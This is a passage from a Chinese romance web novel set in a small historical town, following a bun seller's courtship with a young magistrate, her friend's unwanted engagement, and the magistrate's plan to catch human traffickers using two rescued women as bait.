以上是莲花爹娘的原话,就在她耳边念叨着,时间长了,莲花也开始动摇,觉得是不是自己小题大做了,没准周海天就是为她着想,不想让她太辛苦。 “莲花,你们现在就要定下亲事吗?” 阿雪有点着急,成亲是女子一辈子的大事,这样未免太过草率了。 “没有,我爹娘和周海天都说定,但我说再等等,对了,周海天过一阵来看我,要不,我带他过来,你帮我品一品?” 莲花就阿雪一个朋友,阿雪同样如此,俩人当真情同姐妹。 “好啊!虽然我懂的不多,但可以帮你掌眼。” 等莲花走了,卢石头才垂头丧气的走过来,不用开口阿雪便知道他挨打了。 问清楚原委后,阿雪劝慰道:“爹嘴笨,他就是担心你被人带坏了或者被人蒙骗,不知道怎么说才动手的。” 卢石头委屈:“可是从小他就打我,从来就不打阿姐。” “你和我比什么?我是女儿,而且乖巧听话啊。”阿雪拍着弟弟的肩膀,道:“行了,晚上回去我和爹说说,但石头,你莫要听信外人说的,搞不好他们就是蒙骗你。对了,你不是一直想吃新开的那家烧鸡吗?阿姐给你钱,你去买两只,一只你自己吃,一只带回去我们晚饭吃。” 卢石头破涕为笑,高兴的去买烧鸡,不过没舍得动,忍着口水留到晚上,一家四口说破无毒,高高兴兴的分食了。 入睡前,阿雪在拆头发,卢石头神神秘秘的进来,小声道:“阿姐,我想送你一样东西。” 卢石头从背后拿了出来,阿雪眼睛发亮。 …… 谢临安一行是在第二天晌午到。 将那两名女子安置好后,遣松石去给阿雪送吃食。 一大箱子东西,阿雪搬不动,便打算等石头下学搬回家。 “郎君在客栈?” 松石称是,阿雪笑眯眯:“那你叫他等我,我一会就能过去。” 今日生意也不错,不过阿雪还嫌卖的慢,最后剩下一屉的时候索性不卖了,收拾好去找谢临安。 到的时候松石拦住她没让进。“郎君刚躺下。” 阿雪失望,她还想早点看见他呢。 “那我……站在门口等一会。” 松石瞧见她手里拿着东西,便说要帮忙拿。阿雪将热乎的包子递给他,但另外一个用油纸包着的捧在怀里没动。 “这个是给郎君的惊喜,我想自己拿着。” 松石懂了,微笑说好。 “松石,开门叫她进来。” 房间里的谢临安不知道何时醒了,松石立刻把门打开,做了个请的手势。 阿雪兴致勃勃脚步轻快,一进门就往床榻上瞧。 刚起身的郎君带着睡醒后的慵懒,身上素色寝衣松松垮垮,他一只手去整理,另外一只手抵住飞扑过来的小娘子。 阿雪笑眯眯的去拽他的手指,甜甜叫人。“郎君。” 谢临安已经披好外裳,顺着她牵手的力道反客为主,把她拽过来身边。 可惜没能抱上,阿雪怀里的东西硬邦邦,戳的谢临安闷哼。 “这是什么?” 阿雪莞尔一笑:“惊喜。” 谢临安作势要打开,阿雪忙转身避开。“要再等等的。” “对了郎君,你饿了吧?我带了包子给你吃,还热乎呢。” 待吃完了包子,甚至谢临安重新梳洗过,天色才刚刚擦黑而已。 阿雪坐立难安,全部心思都写在脸上,谢临安已经猜出了几分。待天色完全黑透了,她邀请他出去时,面若冠玉的俊美郎君故意道:“今日乏了,不想出去。” 阿雪急的不行。 不出去怎么可以啊,她的惊喜还没给他。 眼见着小娘子不知如何是好,谢临安又温声道:“没关系,让松石来扶我。” 一旁立着的松石嘴角抽搐,暗道他们郎君体格比他好多了,哪里需要人扶? 偏偏阿雪心思单纯,完全看不出是谢临安在骗她,赶忙凑过来拉过他的胳膊。“郎君,我扶着你。” 刚开始走楼梯的时候,阿雪还使劲搀着。“郎君,你没力气就往我身上靠,我很有劲儿的。” 被说没劲儿的谢临安好像突然就不疲惫了,等走到客栈后院,阿雪才发现他不需要搀扶,现下俩人手牵着手。 不过阿雪有更重要的事情,便让他转过身等一会。 等啊等,等了许久,听见身后小娘子时不时发出疑惑的声音。 “怎么点不着,咦,不是这里吗?” 火石味道散出来,谢临安欲转过身,阿雪连忙喊:“马上马上,郎君莫要回头。” 谢临安轻笑,“好。” 又过了许久她还是没弄好,谢临安索性道:“让松石来帮你。” 卢家骨子里的倔劲上来了,“不用,我自己能行的。” 总算弄明白了,阿雪将火折子靠近线引,只听呲呲声响,阿雪跳起来朝谢临安跑去。 “郎君,快转身!” 谢临安转过身张开手臂,正好将人接个满怀。 嗖嗖几声,俩人抱上的瞬间,天空炸开了朵朵焰火,绚丽灿烂,小娘子的眼睛也映衬如星辰般璀璨。 “郎君,看见了吗?” 烟花转瞬即逝,谢临安垂着眸子一直没说话,只横在她腰后的手不停收紧。 弱冠之年,他收到最好的礼物。 第44章 第44章 阿雪醒来的时候睁眼发现陌生的屋顶。 懵懂的小娘子起身,刚睡醒的眼眸清澈如有一汪泉水,先是看看床帐,随后脑袋一转,盯着不远处书桌。 静悄悄的屋内烛火昏暗透着温馨之感,尤其是在看见书桌后的人,更觉得心里淌过一阵暖流。 俊美郎君停笔,光亮落在他的脸上,眉眼挺括,鼻若悬胆,当真生了一副好皮囊。 长这么大,阿雪还是第一次看见长相如此好看的郎君,即使俩人相识许久,她还是怔愣了片刻。 “睡懵了?” 如谪仙的郎君声音淡淡,立在屋里角落处的松石垂着脑袋,心想他们郎君恐怕都没发现自己和卢娘子说话时有多温柔。 阿雪起身穿好鞋子,脚步轻快的奔向谢临安。 他好像很喜欢她如花蝴蝶似的扑过来,总是张开手臂等着她,待人过来时候将人揽住。 “要喝水吗?” 阿雪像是一只小猫似的,蜷在谢临安的怀里,蹭了蹭他的下巴。 “要。” “松石,花蜜水。” “是,郎君。” 松石手脚麻利,没一会就送来花蜜水,还体贴的用温水冲泡,直接就能喝。 谢临安端起一杯,坐在他腿上的阿雪靠在他胸膛上,闭着眼睛道:“我不想动。” “张嘴。” 唇上碰触到温暖,阿雪顺从的张开嘴,带着甜香蜜水入口,滋润睡醒发干的喉咙。 就着谢临安的手喝完一杯水,总算清醒。 “什么时辰了?我得回家了。”她从谢临安身上下来。 怀里顿时一空。 谢临安默默收回手,状似不在意的起身整理衣襟。“我送你。” 天色已晚,小镇上百姓都关门准备休息,路上见不到行人只有年轻的男女并肩而行。 “咦,我才发现,路边有这么多灯笼啊,以前好像没有吧。” 商铺前挂灯笼很正常,但已经关门歇业,门口的灯笼还亮着,照亮小娘子回家的路。 阿雪思索了一会,继续道:“早上好像也亮着,难道灯笼要燃一夜吗?不怕费钱呀。” 起码要一根小孩手臂粗的蜡烛,不少钱呢。 跟在俩人身后的松石心想,你才发现啊。 郎君着他办此事,就是怕卢娘子早上来铺子的路上太黑,因此使了银子给沿路的商家,叫他们挂上灯笼照亮。 也是商家偷懒,晚上就挂好,这样不用一早起来挂。好是好,确实有点浪费,不过谢临安给的钱多,他们也不在意了。 阿雪没多纠结,她的注意力全被手上的触感吸引过去。 就在方才,谢临安牵住她的手。 俩人其实牵过很多次了,可每次阿雪都会心跳不已。说不出是什么感觉,总觉得嘴巴甜甜的,心里也泛起甜意。 五月的天气夜里舒爽,他的手掌宽大,能完全将她的手包裹住,阿雪很享受这种感觉,甚至到了家门口她还嫌路太短。 “那我进去了。” 谢临安颔首,阿雪一步三回头,直到她开门进家,谢临安才转身离开。 堂屋里点着两盏油灯。 卢家虽然比之前富裕不少,但改不了骨子里的节省,都坐在堂屋一起做事,免得还另外点亮。 卢石头在做学堂留的课业,卢大富在磨刀,焦红杏则是给一大家子做夏日薄袜。 “阿雪回来了,锅里有饭菜。” “娘,我不饿,我洗洗睡了。”虽然在谢临安那睡了一会,但她还是觉得困,打着哈欠往自己房间走。 “阿雪,你等等。”焦红杏咬断了线头,追进屋里,想了想,将房门关好。 听见关门声,堂屋里的卢大富立刻停下磨刀,卢石头也放下笔,父子俩俱是竖起耳朵。 不是因为别的事,就是那一箱子吃食。 卢石头不知道是什么,只知道阿姐让他带回来,焦红杏打开一看,烧鸡等物就够贵重了,竟然还有从未见过的精致糕点。 拇指大小的莲花酥,粉白的花瓣散开,卢石头惊呼:“娘,和真花一样!” 还有其他各种样式的糕点,样式好看,香气浓郁。 他们小地方哪里卖这样金贵的玩意? 焦红杏当即问卢石头从哪里来的,卢石头实话实说,只道是阿姐让他抱回来的。 焦红杏皱眉,卢大富问:“兴许是阿雪买的,尝尝吧。” “都别吃,等阿雪回来我问问她。” 焦红杏心思细腻,觉得这里面恐怕有蹊跷。 “阿雪,你送回来的吃食我们还未动,等着你回来一起吃。” 阿雪刚洗完脸正在漱口,含糊不清的说了什么。 焦红杏看着她,等阿雪吐出嘴里的盐水后,听见她道:“你们吃吧,娘,我困了想先睡下。” 说着阿雪开始脱衣服,普通百姓没世家子弟那么讲究,睡觉还得换一身衣服。阿雪只是脱了外裳,着里衣直接躺下。 她闭着眼睛,听见轻轻的脚步声。焦红杏来到床边坐下,温柔的抚着女儿的发鬓,将头上的木簪取下,然后屈指成梳给阿雪梳头发。 “睡觉时候记得拆发,否则会越睡越累的。” 阿雪声音含糊的应下,焦红杏顿了顿,试图套话。 “阿雪,那些糕点和吃食是谁送的啊?” “别人。”阿雪说了两个字就没了动静,焦红杏叹口气,起身去将灯熄灭走了出去。 一出来,卢大富就焦急上前询问。“怎么样,说是谁送的了吗?” 焦红杏摇头:“没有,罢了,等明日我抽空去莲花那一趟,问问她就知道了。” 卢石头小声嘀咕:“送就送呗,咱们也不吃亏。” 焦红杏软声道:“你呀,和你阿姐一眼心思单纯让人骗了都不知道。” 万一……万一对方不怀好意怎么办? …… 阿雪得早起去铺子里做活,这些年已经习惯了早睡早起。她起来的时候家人还都在睡梦中,不过今日推开院门,却见卢石头从外面回来,汗津津的脸蛋,身上短打也被汗湿透了。 “石头,你干什么去了?” 卢石头像是做了什么坏事被抓包似的,眼珠子滴溜溜的转。 “没、没什么。” 阿雪围着他走了一圈,捂着口鼻道:“你流了多少汗啊,一股汗臭味儿。” 卢石头挠头嘿嘿笑:“跑了几圈,又打了几套拳法。” 说完捂嘴,暗道自己怎么就说漏了。 幸好阿雪没注意,只以为他自己瞎练的。 “行,一会回去赶紧洗澡换身衣服,对了,你把衣服洗好了再去学堂,要不然娘看见闲不住,保准亲自给你洗。” 焦红杏身体不大好,家里洗衣的活都是卢家父子做。 “知道啦!” 阿雪挥挥手:“那我去铺子了。” 卢石头傻笑着送他阿姐离开。 等人消失在巷子口,卢石头才长呼一口气。 “好险,差点被家里人发现。” 都怪他今日贪多,又缠着武师傅教一套剑法,这才耽误了回来的时辰。 …… 焦红杏心里有事,也没发现儿子的异样。她按捺不住,因此一大早就去了莲花家。 莲花娘俩整日守着铺子,俩家关系匪浅,这次来焦红杏还拎了一只兔子。 “红杏啊,来就来,怎么还带东西啊。” “大富打回来的,现在山上草木丰茂,兔子可肥了,你们若是现在不吃,可以养一养,喂点路边的野草就成。” 坐下寒暄了几句,焦红杏有意将话题往莲花那引,便顺嘴问了莲花的婚事。 “还没定,莲花非说要等等,红杏你说,人家周海天样样出挑,哪里配不上她啊。” 嘴上嫌弃女儿挑剔,实际上没实行“父母之命媒妁之言”那一套,还是尊重莲花的意思,想再等等。 焦红杏不了解实情,光听莲花娘的一面之词,觉得对方确实是个不错的选择,便附和了两句。 莲花低垂脑袋有点心里不舒坦。 焦红杏走过来,面上是问莲花手里绣活的针法,实则是打探阿雪的情况。 其实莲花并不知道那一箱子吃食的事情,焦红杏只旁敲侧击,想知道阿雪最近和什么人走的近。莲花当然不会说谢临安,只含糊说不大清楚。 焦红杏有点急了,从莲花这出来又去铺子里坐了一会,可阿雪如往常一样,铺子里也没出现奇怪的人。 焦红杏打算等晚上阿雪回家后母女俩好好聊聊,但没想到很快就顾不上了。 也不知道怎么回事,卢大富和卢石头又发生冲突,焦红杏去阻拦,好不容易才将父子俩分开。 亲父子脾气也像,都容易冲动还像头倔驴,因此焦红杏分开询问发生了什么。 卢大富不敢朝妻子发怒,压着火气道:“小兔崽子跟我说要出去闯荡江湖!他虽长的高大壮实,可到底才十三岁还是个孩子啊。” 卢石头也一肚子怨气:“娘,我真的不爱读书,我更希望当个镖师走镖,走南闯北见多识广,而不是困在一方小镇上。” 爹说爹有理,儿说儿有理。 焦红杏忙着处理父子俩的矛盾,便将阿雪的事情放在一旁了。 家家有本难念的经,就算没成家的谢临安,也有他自己的难事。 之前便着人在他管辖之内提醒百姓们莫要夜里外出,尤其是形单影只的娘子们,免得坏人有可乘之机。若有异常,各个乡镇村自有人来汇报。 前几日衙署收到某个小村庄的消息,说是村子里有陌生人出现。谢临安派人过去查看,若是不对,当场拿下。 不过王捕头说:“大人,人手安排下去了,但没发现什么异常。” 桌面上放了一壶热茶,茶香袅袅,年轻郎君的脸犹如远山雾黛,忽明忽暗。 “是吗?” “是,查明得知那几个人不过是卖货郎,途径小村子而已。”王捕头说出自己的想法,“大人,现在风声鹤唳,会不会那些人听见消息不敢出来了。” “胆敢拐卖人口的狂徒,没什么不敢做的,恐怕会在暗地里动手。既然等不来,那便不等了。” 这是放弃的意思?王捕头深深不解。 谢大人上任以来两袖清风一心为民,听到风吹草动就会派人巡查,而且在暗娼窝点救出不少女子,甚至自掏腰包将两个无家可归的女子安置在东山镇。 难道,他就这样放弃调查了吗? 王捕头很失望。 就在这时,听见空远清幽的声音继续道:“敌不动我动,王捕头,你觉得引蛇出洞怎么样?” 第45章 第45章 救出来的两名女子,一名叫王翠翠,一名叫周碧玉。两个人在这世上无依无靠,幸而谢临安大发慈悲给她们安置好,租赁了一处小院,还叫松石采买了日常用品,光是米面就够她们吃上半年了。 “坐吃山空总不是办法,”松石走的时候扔下一个钱袋子,里面有碎银五两,若是她们省吃俭用,大可以过活许久。 周碧玉感激谢临安,钱没怎么舍得花,日日都数着剩下的钱才觉得安稳。 “若是钱花没了,咱们俩怎么办?” 小院子朴素,只有吃饭用的桌子,王翠翠出门买了一面梳妆镜回来,还挑了一盒胭脂,整日坐在那描眉化妆。听见周碧玉说话,她转过头道:“那就省着点用呗,反正吃喝用不了多少钱。” 周碧玉不赞同:“可上次买胭脂用了不少。” 在暗娼的娘子们也分个三六九等,像王翠翠长的好看身段好嘴巴甜,客人多享受的待遇好,周碧玉就不同了,是最底层,除了接客还要侍候王翠翠她们。正因为如此,她双手粗糙,客人不愿意选她。但周碧玉乐得自在,没觉得有什么不好。 如今逃出魔窟,周碧玉想好好活下去。 活下去需要钱,得想生钱的法子。 王翠翠不乐意了。 “你什么意思?嫌我花钱买胭脂?大人给了五两银子,按理来说我们一人一半对吧,我花我那一半,跟你有什么关系?” 以前大家都拿周碧玉当丫鬟用,即使现在王翠翠也改不了差使她的习惯,更受不了被周碧玉质疑,因此语气不善。 “我不是那个意思,我的意思是我们想办法多挣钱,这样以后就能买更多的胭脂。” “这还差不多。”王翠翠瞪她一眼,继续对镜描妆。 周碧玉道:“不如我们出去找活干吧。” “大热天的,要去你去,我可不去。” 周碧玉叹气,但也没再坚持了。 他们来到这里人生地不熟,彼此就是依靠,不可能闹掰了。因此她收拾一番,打算出去转转,能找个挣钱的活计最好,找不到……找不到再另想办法。 刚走出屋,就听有人敲大门,打开门一看,周碧玉面带惊喜:“王捕头!快快,屋里请。” “王捕头,什么风把您吹来了。” 王翠翠拿出对付客人那一套,扭着腰过来,王捕头心中厌烦但没表现出来,只退后一步道:“找你们二位是有事相求。” 王翠翠脸上的尴尬一闪而过,她调整表情笑着道:“我们都姓王,是本家,哪有什么求不求的,有事您尽管说。” 周碧玉在一旁又是拉凳子又是泡茶,王捕头招呼她坐下。“别忙了,和你们二人都有干系。” 待她落座后,王捕头三言两语将谢临安的引蛇出洞计划说明。 按照谢临安的猜测,原来发生拐卖案的地方很有可能还有贼人在,毕竟找到一个偏僻合适的地方不容易,他们不会轻易放弃。如今没露头也只是藏起来罢了,他们需要做的便是弄个饵,引他们出来。 将祸害一网打尽,方能保一方平安。 但问题来了,失踪案大多是女人和孩子,他们可没有合适人选。 谢大人声音淡淡:“不是有两个吗?” “啊?” 王捕头一时竟然没有反应过来。 谢临安从来都不是什么救苦救难的活菩萨,相反,出生豪门世家最是生性凉薄。安排两个女子活下去是真,想让她们当饵也是真。 毕竟,天下没有免费的宴席,不是么? 所以才有了王捕头走这一遭。 说完之后,两个女子俱是沉默。 “有危险吧? 问话的是周碧玉,而方才一直热情的王翠翠却不吭声了。 王捕头实话实说:“会有一定的风险,不过我们会暗中派人保护,若有危险第一时间出手相助。 意思是他们尽可能的保护,但不保证没有风险。 周碧玉犹豫,看向王翠翠。 “王捕头,非要我们二人当诱饵吗? 王捕头表情一言难尽,道:“实不相瞒,确实没有其他人了,我们不认识其他娘子。 其实不尽然,认识一个卢娘子。但她和谢大人之间关系匪浅,不可能让她以身涉险。 周碧玉犹豫了,她自然是感恩谢临安给她重生的机会,显然,现在到了回报的时候了。 思虑片刻,周碧玉咬牙应下:“好,我去。 王捕头看向王翠翠。 如果都不应下还好,现在周碧玉应了而王翠翠不应,显得她没有良心。王翠翠调整好笑容道:“既然是大人发话,民女义不容辞,就是其中细节民女还不大清楚,劳烦王捕头通传通传,让我们二人拜见大人,也好确定如何行动。 理由未免牵强,不过王捕头思量之后还是应下了。 毕竟要请人家办事,而且说不定大人还真有事吩咐她们。 王捕头传了话,谢临安说可以见。下午时候,两个小娘子来了,周碧玉身上没什么首饰,素面朝天,但穿着昨日刚洗好的衣服,干干净净。 与之相比,王翠翠明显是精心打扮过的,她本就生的不错,涂膏抹脂后更加动人,一进来就风情万种的朝谢临安看过去。 周碧玉不大赞同的皱眉。 来之前,周碧玉在王翠翠描眉时询问道:“你难道……” “难道什么?”王翠翠笑了,“你是不是想说,我要攀附县令爷?” 周碧玉不说话,她就是这个意思。 王翠翠转过身:“是又怎么了?你我经历过这么多,还指望能正常嫁人生子?不可能的,没有人会要个千人骑的贱货。” 这话说的难听,周碧玉:“你!” “你先别生气,不是骂你,是骂我自己。” 王翠翠继续描眉,“我又什么都不会,能怎么样呢,只能找个大腿抱紧了。县令爷年轻有为,将来肯定会有高门贵女嫁给他,我也不期望能当劳什子妾室,当个暖床的玩意儿也好啊,总比饿死冻死在街头来的好。” 周碧玉说不出反驳的话来。 谢临安像是没看见王翠翠的殷勤,简单与她们说了几句后就示意松石送客。 王翠翠连忙往谢临安身边凑,“大人,奴很会揉肩,不如让奴帮您放松放松。” “郎君,我来了!” 外面阿雪的声音由远及近,谢临安愣神。正是这一分神的功夫,被王翠翠近身,握住了胳膊。 门是开着的,因此站在门口就能将屋内的情况看的一清二楚。 一个身材窈窕的美艳女子拉着谢临安。 阿雪怔住。 这边谢临安蹙眉,甩开人。王翠翠哪里被男人甩过?她正往谢临安身上靠,一个没防备,直接被甩个大跟头。 “哎呦。”她故意惨叫。 但谢临安没有半点怜香惜玉的意思,根本看都没看她一眼,直接大跨步追阿雪去了。 前面阿雪跑的飞快。 她也不知道自己为何要跑,就是脑子一片空白,下意识的想逃。 快跑出客栈的时候,腰上忽地横了一条胳膊,接着眼前景物颠倒,再然后她就看见谢临安的青色衣摆在她面前晃。 “你做什么?放我下来!” 阿雪其实身量不矮,奈何谢临安身材颀长,他抓住人扛起来往后院走,轻而易举。 到了地方,谢临安放下人,阿雪又要跑,直接被他圈起来。 后背是墙,前面是谢临安横住的胳膊,阿雪弯腰作势就要从他胳膊肘底下溜,直接被谢临安抬腿抵住墙,强行制止她逃离。 “跑什么?”谢临安淡声问。 见实在躲不开,阿雪索性紧紧贴着墙,别过头不看他。 “腿长在我身上,当然想跑就跑。” 谢临安扬了扬眉梢。 认识这么久,单纯柔顺的小娘子第一次展现带刺的一面。 越发的有趣。 明知道她是吃醋,谢临安偏偏不哄着她,只一双深邃的眼睛盯着她看。 阿雪皮肤生的白腻,交领衣服,露出修长漂亮的脖颈,大抵是恼怒的厉害,此刻红晕如落日似的,洒在她颈子上,慢慢往上攀,最后整张脸都透着红。 如花年纪的小娘子,面上还有一层细腻微小的绒毛,她垂眸咬唇,全然不知此刻的自己在谢临安眼里,像是一颗将熟未熟的桃子。 “你让我走。”她又开口说话,带了怒气,语气越发的冲。 “然后呢?” 阿雪嘴角向下,一脸的不高兴。“什么然后。” 谢临安松开胳膊,似是叹了口气。“然后你打算不理我么?” 这时候能跑了,阿雪却没动。 用脚脚尖踢一块小石子,像是小猫伸爪似的来回摆弄,嘴里咕哝:“我可没说。” 是你自己说的,跟我没干系。 这么一会,阿雪总算缓过神理智归笼,但情绪依旧低迷。 总而言之,她不高兴了。 竖着耳朵,一双漂亮的眼睛偷偷觑着,想听听他怎么说。 如果是别人做这等小动作定然贼眉鼠眼,但阿雪坐起来格外的娇憨可爱。 谢临安轻笑。 阿雪抬头,杏眸流转瞪他一眼。 想问他笑什么呀,有什么好笑的。但对上那张俊美的容颜,阿雪语气软了。 “你还笑。” 她声音悦耳,怨怼的话说出来倒像是娇嗔。 谢临安过来牵她的手,阿雪躲了几次,谢临安不屈不挠,最后还是成功捉住,然后将人扳过来正视他。 “方才是误会,你且听我解释。” 三言两语将事情说明,阿雪的气也消了。 “好吧,那这次就算了。” 客栈后院是养马的地方,天气热起来有味道散开,谢临安便邀请阿雪去他房间叙话。阿雪本来也是有事找他,俩人牵手朝前厅走。 走着走着,阿雪侧头道:“郎君。” 微风拂过,方才乱跑的小娘子发鬓微乱,谢临安抬手帮她拢了一下。 他素来会窥探人心,已经猜到她要说什么了。 定是要他往后和其他娘子保持距离,免得再惹她拈酸吃醋。 他身为县令,免不了要和女子打交道,这个要求着实无理取闹。 英姿俊逸的郎君眼神温柔,心想,正是因为她满心满眼都是他,因此才会这般失智,答应她也没什么。 “郎君,你可真有一把子力气。”阿雪忽然道。 谢临安眯了眯眼。 “什么?” 第46章 第46章 孩子大了要脸。 卢大富上次打了卢石头的屁股,小少年便开始和他闹别扭,虽然嘴上答应不生气了,但依旧不理会卢大富。 卢大富性子耿直,既然你不同我说话,那我也不理你了。 只不过每次都偷偷观察卢石头,见他面色红润才放心下来。 卢石头似乎改变了许多,不止卢大富发现,就连上课的严为之也有所察觉。前几天他定了婚事,对方是他爹娘做短工的主家,家境富裕只有一个女儿,打算年底成亲,也让严为之将学堂关了,专心致志准备科举考试。 严家父母大为高兴,满心满口赞同主家仁义。 严为之私下里问过,是否是当上门女婿,严家父母义正严词:“那不能,我们都说好了,反正你别管,只管成亲之后好好读书,其余的事情有爹娘帮你操办。” 因着定了亲,严为之许久不曾去阿雪那买包子,主要是不知道该怎么面对阿雪,所以在课堂上格外关照卢石头。但卢石头启蒙太晚,脑子也不够灵光,学什么都比同窗来的慢,所以一直排名最末。 但这几天好像发生了好转,严为之觉得卢石头上课更加专心,且偶尔能回答上他的提问。 “晚上用功苦读是好事,但也要多休息,夜里读书最是伤眼睛,告诉你娘多点几根蜡烛,还有,最好早起天光大亮时读书,知道了吗?” 严为之以为卢石头为了读书熬夜学习,其实不然。 卢石头也不解释,甚至阿雪都发现石头的不一样了。但具体怎么回事,阿雪琢磨不透,便来找谢临安,让他帮忙分析。 “郎君,你说为什么啊?” 屋里松石垂手立在门口,心想,那还不是因为他们郎君给请了文武师傅。天不亮时候练武,练武结束后读书,白日里在学堂又学习,如此下来,就算是石人也该开窍了。 就是不知道为何郎君有意隐瞒,难道做好事还不告诉卢娘子吗?认识这么久,他们郎君付出的够多,怎么半点都不提啊。 谢临安微微一笑,反问阿雪:“你觉得是为什么?” “难道是因为石头长大了?”她试探性的回了一句。 谢临安用鼓励的眼神看她,阿雪大受鼓舞,语气慢慢变得坚定。“对,一定是这样,都说穷人家的孩子早当家,我像石头这个岁数时,已经开始琢磨挣钱活计了,打杂做工,能挣钱的都做,十五岁时候爹娘给我兑了这个铺子,自此安稳下来。” 谢临安诧异。 他知道她是个勤劳的小娘子,但没想到才十三岁时便开始劳作了。京城世家的娘子们,哪个不是金贵养着?恐怕连谷子都分不清,但她已经能靠自己双手挣钱了。 如果是普通世家权贵出身的郎君,或许不喜欢心上人做小商贩,但谢临安不同。 他自己本身在京城里算是“离经叛道”“为所欲为”,自然不会要求别人怎么样。而且,他喜欢的就是她身上的鲜活劲,与她经营铺子挣钱的奔头密不可分。 所以,她喜欢就接着做,谢临安不会阻拦,只会暗中帮她。 不过,听她轻描淡写说出自己过往经历,谢临安眼神一暗。 她生性单纯,恐怕吃了不少苦。 “郎君,我原本还觉得石头怪怪的,但现在一想,他是在变好啊,怪一点又有什么关系,反正他永远是我亲弟弟。” “嗯,你体谅就好。” 之所以没告诉阿雪还有一层原因,就是卢石头不想让旁人知道。小少年曾私下里找过谢临安,抓耳挠腮声音憨厚,请求谢临安帮忙保密。 “好。”谢临安应下。 卢石头激动的脸蛋通红。 旁人都当卢石头是孩子,所以说话也是含糊,但谢临安好像真的在听他讲话,且像是尊重一个成年人一样尊重卢石头。 经过和谢临安聊天,阿雪彻底放下心来。 当天晚上莲花来家里了,关起门来说体己话,告诉她周海天要来了。阿雪还挺高兴的,说帮忙看看。 周海天是骑马来的,从城里到镇子,快马加鞭也就一天的时间。莲花家里大肆准备,热闹的简直像是过年。 吃完饭,莲花爹娘让莲花带周海天在镇子上逛逛,实则是让俩人多相处,镇子不大,最繁华的街道只有两条,莲花便带着他从头开始逛,还时不时的讲解。 “这家是老字号了,听我娘说铺子里几代传下来的酿酒秘方,在我们这独一无二,就连城里也买不到如此好喝的酒呢。” “晚上吃饭时喝的酒就是他们家酿的,周郎君觉得怎么样?” 老字号,当然不便宜。 莲花爹娘都满意周海天,所以豁出去买了一坛子好久招待他。 “一般。” 却不想周海天如此评价。 他眼神轻蔑道:“所谓矮子里拔高个,正是因为此地物资匮乏,所以普普通通的东西被你们当成好的。他们家的酒水一般,甚至说是毫无亮点,也就糊弄乡下人吧。” 莲花被他的说法弄懵了。 “可是这家酒水家喻户晓,连城里大户人家都会派人来定。” “三人成虎,说的人多了大家就以为是好东西,你啊,不懂。” 接下来周海天滔滔不绝,好像他才是东道主,莲花才是做客的那个。待逛完了一条街来到主街上,有认识莲花的同她打招呼,还好奇问周海天。 莲花勉强笑笑,给他们介绍周海天。周海天样貌周正说话斯文,大家对他印象不错,还有和莲花交好的妇人对莲花挤眉弄眼,示意她眼光好。 莲花苦涩一笑。 身边所有人都说周海天好,都说配她绰绰有余。 又往前逛,周海天继续他的高谈论阔,还说以后成亲了,可以让莲花爹娘也进城,一来方便尽孝,二来等他们有孩子了可以帮忙照料。 莲花垂着脑袋不吭声,也没注意走到阿雪铺子附近。 此时阿雪正给一位老主顾装好包子,收了钱笑盈盈道:“拿好,常来啊。” 眼睛尖,看见莲花也看见她身边的周海天。 “原来他就是周海天,长的一般。”阿雪评价道。 在没见过谢临安之前,她可能会说一句长的不错,但有珠玉在前,说周海天一般都抬举了。 “怎么感觉莲花眼睛有点红?”阿雪嘟囔,目不转睛的看着他们的方向。 莲花没察觉,倒是周海天有所发现,抬头望过来,就看见一间小门脸前站着一个穿杏色衣裙的貌美娘子。 桃李年华风华正好,日光一照,肌肤凝白若玉,那双眸子圆溜溜,像是黑曜石似的透亮。 好标志的娘子! 周海天脚步忍不住迈了过来,心不在焉的莲花不知道他心中所想,抬眼看见阿雪,便先和周海天介绍。 “原来你们认识。”周海天话是对莲花说的,但眼睛黏在阿雪身上。 怪让人不舒服的,阿雪皱了皱眉头。 周海天生意人到底精明,意识到自己失态之后调整了一番,不再直勾勾的盯着阿雪,而是视线游移在二女之间。 阿雪惦记着他是莲花未来夫婿的身份,热情招待进来坐。铺子里有个后门,打开之后就有过堂风,但屋里蒸屉多,还是不免闷热,阿雪叫刘二丫送了三碗凉爽的绿豆汤,三个人边喝边聊。 卢家姐弟随了卢大富,好听点是心无城府心思单纯,难听点就是愣头青。阿雪:“莲花你眼睛怎么红了?哭了?” 方才她就想问了,硬生生忍到现在。 周海天:“我看看,红了吗,没有吧。” 阿雪顿感生气。 这个人怎么半点不上心的样子,明明眼眶都红了一圈了。而且阿雪说的时候,莲花还下意识的低头擦了一下,摆明了是在擦拭眼泪,但他还说没有。 “我没事。”莲花笑笑,“方才有小飞虫进眼睛里了。” 阿雪再单纯也能看出来莲花是在找补,于是她直冲冲的道:“周郎君,莲花方才一直在抹眼睛,你看见了吗?” 这人难不成眼睛瞎? 周海天闻言也没觉得尴尬,笑笑道:“抱歉,现在你好一点了吗?” 知道错了就好,阿雪没那么厌烦他了。 又聊了几句,莲花道:“不耽误你做生意了,我们就先回去。” 阿雪起身送他们,见俩人背影还挺相配的。不过嘛……阿雪摇头。总觉得莲花和周海天在一起不高兴,连笑容都是勉勉强强的。 周海天临走那天,和莲花爹娘敲定了婚事,莲花不满,但她爹娘道:“错过这个村可就没这个店了,周海天比镇子上的郎君都要好,你还挑剔什么?” 莲花有苦说不出。 “父母之命媒妁之言,行了,这些日子不用你去铺子,就在家安心绣嫁衣吧。” 亲事到底是定下了,年底成婚。 消息是莲花的妹妹送的,阿雪回家就和焦红杏说了,感叹:“娘,你说女子成婚怎么就草率呢?” 正在给阿雪做贴身小衣的焦红杏道:“我听莲花娘提起过那位小郎君,人长的周正还有家业,是良嫁。莲花爹娘不会坑害女儿的,十八了,是得定人家了。” 阿雪哼了哼,搂着焦红杏撒娇:“娘,我不想那么早成婚,我想一直在爹娘身边。” “你才十六,确实不急。” 以前焦红杏急的不行,后来经过周秀才那件事,焦红杏幡然醒悟。姻缘也要看缘分,更要慎之又慎,否则会毁了女儿一辈子。 她都和卢大富商量好了,再多留两年,等女儿十八岁了再嫁人。不过若是有合适的郎君,就先把婚事定了,免得好后生被人挑走了。 说什么来什么,当天下午就有人来提亲。焦红杏和媒婆聊过之后觉得奇怪,因为那后生不是镇子的人,是附近村里的,说是听闻阿雪吃苦耐劳是个能干的小娘子,因此心生爱慕,请了媒婆上门说项。 一朝被蛇咬,十年怕井绳。 焦红杏和卢大富对视一眼,婉转的拒绝了。那媒婆不死心还要说,卢大富站起来,高大的身躯如同山里的虎豹,横眉竖眼道:“不好意思,请吧。” 媒婆吓的赶忙走了。 阿雪还不知道有人提亲,却有人先一步知道了消息。 谢临安微微一笑,松石心想:完了,他们郎君不高兴了。 “去查查底细。” “是。” 